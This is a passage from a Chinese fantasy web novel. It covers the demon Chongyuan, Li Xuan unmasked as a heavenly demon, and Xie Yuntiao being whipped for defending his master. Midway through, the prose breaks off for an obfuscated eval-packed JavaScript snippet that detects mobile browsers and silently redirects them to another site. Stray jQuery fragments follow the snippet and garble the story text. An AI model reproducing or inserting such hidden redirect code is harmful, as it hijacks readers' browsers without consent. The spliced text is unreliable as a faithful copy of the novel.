那个时候,她没能明白他为何眼神有一瞬的落寞。
而罪灵渊这个词,对她而言,也只是停留在书籍和传说里的一个,很久远而古老的名字。
她头一次听说它,还是因为重渊。
这个名字听起来很像一所牢狱,事实证明她想得确实没错,这里是关押神族罪人的场所。
神族天生法力,若登上神,可与天同寿,可哪怕不修炼,他们也能活很长很长的时间。
许是上苍自有上下平衡之道,给了他们无穷的寿命,也给了他们同样浓烈的七情六欲。
他们既不用担心生计,又不用担心寿命,因此既忙于爱恨情仇,缠绕交织,又忙于争夺土地,金钱财富。
爱和恨,财与权,从来都是最精彩又最不可分割的部分。
自打大荒彻底陷入战乱后,除了那些用于修炼的上古真卷外,很多神族野史秘辛也一起散落四方。各大宗门藏书阁里被借阅最多的,也往往都是那些记载各种古老离奇八卦的书籍。
这不比那些人为编造的话本子带劲?话本子还得讲个因果循环的逻辑,这些八卦,那是完全不讲逻辑。
纯带劲。
而这些八卦传说里,那些最后犯下大错的神族,最后都是被送去罪灵渊,或永久关押,或就地处死,再也不会出来。
但把这么多罪人关在一起,说好听点叫关押,说难听点,那就等于养蛊。
到了最后,罪灵渊成了世上最邪恶的地方,也是神族之间是个不可言说的禁忌之地。
后来,里面诞生了魔。
起初他们不知道魔是什么,只知道罪灵渊发生过世上最恐怖的动乱,甚至让各自为政,只维持表面平和,但见面就干仗的四荒天帝都难得坐到了一起,联手出兵镇压。
但光镇压显然是不够,后面便成了围剿、铲除,又一把火将罪灵渊给烧了。
事实证明他们以为解决了,但其实根本没有,罪灵渊最后只是表面上消失了,但并没有真正消亡。
它还放出了它最得意的作品,不是某个神族罪人,也不是依附于某个神族身上,而是纯粹的魔物。
天魔重渊。
他像是罪灵渊里死去和受苦的那些罪人,为自以为打败了他们的胜利者们量身定做的礼物。他无心无情无义,又狡诈奸邪阴险,存在都只有一个执念。
那便是扫荡大荒,执掌天下,让这份痛苦的怨念,自罪灵渊传递至每个人身上,让每个人都直面自己内心最深的贪婪与欲望。
最后他割下几位帝君的头颅,制成装酒的杯子,用来犒赏功臣,美中不足的,是还没来得及亲手斩下曾和他一起长大的清微帝君,让他侥幸逃脱了。
孟星遥与重渊交过手,她不得不承认,光从表面上看,他集齐了年长者的魅力。
被岁月和权力吻过的美貌,强大魁梧,气势慑人,哪怕一句话不说,只是静静坐着看他们,也足以令人心颤。
就连在他们跟前只手遮天的黎煊,在他的笼罩下,也变得渺小起来。
他被黎煊杀死的时候,她只有一个念头,还好这个人死了。
她不想再和这种恐怖的人打第二遍。
谁知道竟会一语成谶。
那时候重渊死去的喜讯渐渐淡去后,随之而来便是他为什么能杀死重渊的质疑。
以及君野等魔君为什么会在那个时候恰好跟着他一起反扑重渊。
黎煊战功赫赫,有目共睹,没他几乎就没如今这天界,这种风言风语看起来有鼻子有眼,细想来又滑天下之大稽。
因此也没人当回事,很快就被压了下去。
但重渊死后,黎煊却常常会望着镇压他头颅的太尧山净池发呆,孟星遥每次和谢云迢去看他,他的话总是越来越少,而且很焦虑。
他们以为他是被前阵子的传闻所扰,但想来也不至于。但没过多久,某天他坐在宝座之上,向众人宣布要启动西征大计,继续攻打魔道余孽。
他没跟任何人商议过这件事,就这么突兀地当众宣布。
因为他这一句话,刚刚安定,休养生息不过百年的天界又再一次陷入了战火之中。
孟星遥曾经想过很多种理由来替他解释这个举动。
可能是重渊其实还未真正死去,还留有余手在西荒,被他察觉。也可能是他想趁着君野等人还未站稳脚跟,趁机一鼓作气把大自在天余孽给彻底铲除,又或者是其他……
饶是她一直自诩聪明,也没想过那最不可能一种可能,那便是黎煊也是个天魔。
他真正的目的从来都只有向重渊复仇,因为当年在罪灵渊,他差点吃了尚未化形的他,后来在大荒再遇,已是天界养子的他又差点杀了他。
而重渊一手建立,以魔气供养的大自在天,才是最适合他休养生长的地方。
可惜重渊太强,他一直忍着仙气侵蚀,卧薪尝胆,布局多年,最后才能利用太微七曜掌控神族与修士,联合君野等人斩杀了重渊。
而他准备将天界和大自在天合并的话,太微七曜和他们的得力部下反倒成了最棘手的拦路石。
所谓的西征之计,不过是他传令君野,用来清扫铲除各自阵营有异心之人的一场猎杀游戏。
好在这场猎杀,他最终只成功了两次,就被天界众人斩杀在了逐鹿野的古战场上。
但仅仅只有两次,也死了两个,重伤了一个。
他所杀之人,是行医济世,美名满天下的孤山殿下和云湫掌门,所伤之人,亦是德高望重,和他并驾齐驱的长昀神尊,还殃及了许多为东荒天界出过力的仙门子弟。
真相揭露之时,天界仙洲,满座震惊,哀恸不息。
他名字成了整个天界闭口不愿提的存在。
所有人都觉得他死不足惜,曾经有多敬佩爱戴,如今就有多痛恨嗔怒。
在这样的气氛下,谁都没想到会有人出来替他说话。
也没人想到这个人会是被寄予厚望的准仙首,谢云迢。
虽然他和孟星遥都是黎煊的徒弟,但从来没人把他俩和黎煊当一体看,毕竟性格和行事风格差得委实太多。
涿鹿野之战,他俩也是拼尽全力上阵杀敌,最后杀死黎煊之时也在场。
可偏偏谢云迢就是站了出来。
在铁证如山跟前,他依旧固执己见地认为,所谓真相是假,黎煊不是那样的人。
他求长昀去救他。
孟星遥还记得,谢云迢受罚那天,太微殿上的人不多,但来得却很齐。
长昀站在高台之上,天威煌煌,化作紫电如鞭,被他握在手上,刺眼夺目。
她闻讯赶到时,已有三十道罪仙鞭打在谢云迢身上,将他的白衣都染作了血衣,她下意识地想去阻拦,却被人一把拉住了。
是楚沧玉。
他脸色苍白,还带着伤,静静地看了她一眼,然后摇了摇头。
他如今已经能站立,是重春花了千年的时间,找到了遗失很久,万分珍贵的息壤,给他重塑了那只被魔气侵蚀入骨的残肢。
孟星遥被他一扯,也冷静了下来,她环顾四周,所有人都在静静看着,没人敢上前。
满殿鸦雀无声,只有长鞭抽打在谢云迢身上的声音,以及长昀饱含怒意的问话。
“我问你,你错了没有?”
“死伤上万将士,你居然还为一个天魔说话。”
“你这样冲动,自以为是,如何承担仙首之职,如何为天界仙洲,仙门众家负责?”
谢云迢紧闭着双眼,一声不吭,身上伤痕累累,血浸透了衣衫,却依然不服软,也不认错。
孟星遥袖中的手攥紧成拳,牙齿咬出淡淡血腥,她深吸了一口气,眼前却浮现出另一幕。
是重春躺在她怀里,安静得像是睡着了的模样。
她穿着一袭红装,螓首蛾眉,朱颜粉面,是她见过最美的模样。
也是,哪个女子,新婚之时是不美的呢?
你说黎煊多会选时间,他知道一个人在结婚之时,定是最不会防备的,这个时候杀他,是最好的时机。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733022|172938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是的,他原本想先杀的人是长昀,但谁也没想到,长昀虽然中了陷阱,但还是躲开他的偷袭,和他缠斗了起来。
但因饮了酒,他最终还是难敌有备而来的他,在即将中致命一击的时候,重春赶到了。
她破开了黎煊的阵法,几乎没有任何犹豫地就冲了上去,挡在了长昀的跟前。
当孟星遥等人赶来时,黎煊已经逃蹿走了,满腔怒火的长昀追踪而去,满地剩下的只有一片狼藉,以及已经死去的重春。
她几乎是连滚带爬地扑了过去,将她紧紧抱在怀里,却只能感受到她的身体在一点点消散。
灰飞烟灭的人,是留不下任何东西的。
“不要离开我,求你了,不要离开我……”
她无力地呢喃,重复一句又一句,眼泪都流尽了,也挽回不了她化作点点星子,飞向湮灭的结局。
她想起闻衍声战死的时候,连尸身都没能见到最后一眼,只送回了几件遗物,闻晴抱着那堆东西,在她和重春的怀里哭到昏厥。
“师父,阿遥师姐,我再也不嫌我兄长唠叨了,我再也不了,都是我的错,都是我的错,若我早点成长,那场战役,本该是我去的啊……”
那时她抱着闻晴,流着眼泪,不知所措,却还尚想着替黎煊辩解,也没能想到这么快便会轮到自己。
也许这就是报应吧。
长昀本就伤势颇重,施行罪仙鞭也耗费了他不少心力,有隐约的血渍渗出,他不得不停下来缓一缓。
然而谢云迢却在此时睁开眼睛,坚定地凝视着他。
他气若游丝,却依旧说。
“我相信他,他不会是这样的人,他之前为天界仙洲,为我们做了那么多,他不会……”
“你!无论他之前如何,他现今杀了我的妻子,杀了她的徒儿,杀了这么多仙门弟子,还能有假?”长昀怒斥道,“他就是天魔!我在涿鹿野,我亲眼看见,看见他亲手捏碎啃食一个天玄弟子?那弟子临死前还在喊我走,喊我走……我却什么都来不及做!我救不了他!”
“你现在,居然还要跟我说,让我去相信、去救回一个残害同胞的魔物?”
许是彻底失望,他从未像现在这般发过如此大怒,右手高高扬起,金色的真气如闪电在长鞭之上游走,迅速凝聚在尖头。
那是只有神尊才有的至臻杀意。
孟星遥瞪大了眼睛,但还未来得及踏出那一步,已经有人擦肩而过,比她更快。
“不要!不要!”苏祈月尖叫着飞身上前,挡在了谢云迢跟前。
“师父,师父你冷静点!”她不顾一切地拦在两人中间,死死护住身后的人,“这打下去他会死啊,他会死啊!”
“师父!”危梦之也跟着冲了上去,一把拉住长昀,“阿迢他只是一时着了魔,您别来真的啊!”
现在想来,他俩真是胆大包天,至臻杀意显露之时,极易误伤,但他俩还真的就为了谢云迢那么冲了上去。
谢云迢躺在地上,血水漫过他的口鼻,自从成为天玄弟子后,他再也没有这么狼狈难堪的时候过,他努力撑着身子想站起来,却最终手一滑,又重重摔了下去。
谢云迢就此病倒了。
虽然他遍体鳞伤,但有各种珍药和神功加持,雷鞭之刑看着吓人,本质上来说,要不了命。
但他回到清衡山后就一直久卧病榻而不起,众人心下明了,其实他犯的是心病。
即便如此,苏祈月还是衣不解带地照顾着他。
孟星遥还是去看过他一次。
见到她过来,他原本灰败苍白的脸色难得亮起一丝亮色,几乎是立刻挣扎坐了起来。
他紧紧拉住她的手,她的手一直很凉,但此刻,明明已练成纯阳之体的他,手却比她的还冰。
“阿遥,所有人都可以不信我,你能不能信我一回。”他说,“师父,他真的不会是这样的人……”
他的声音低弱,含着他从未流露过的哀求。
孟星遥望着他,她其实还是不是很理解。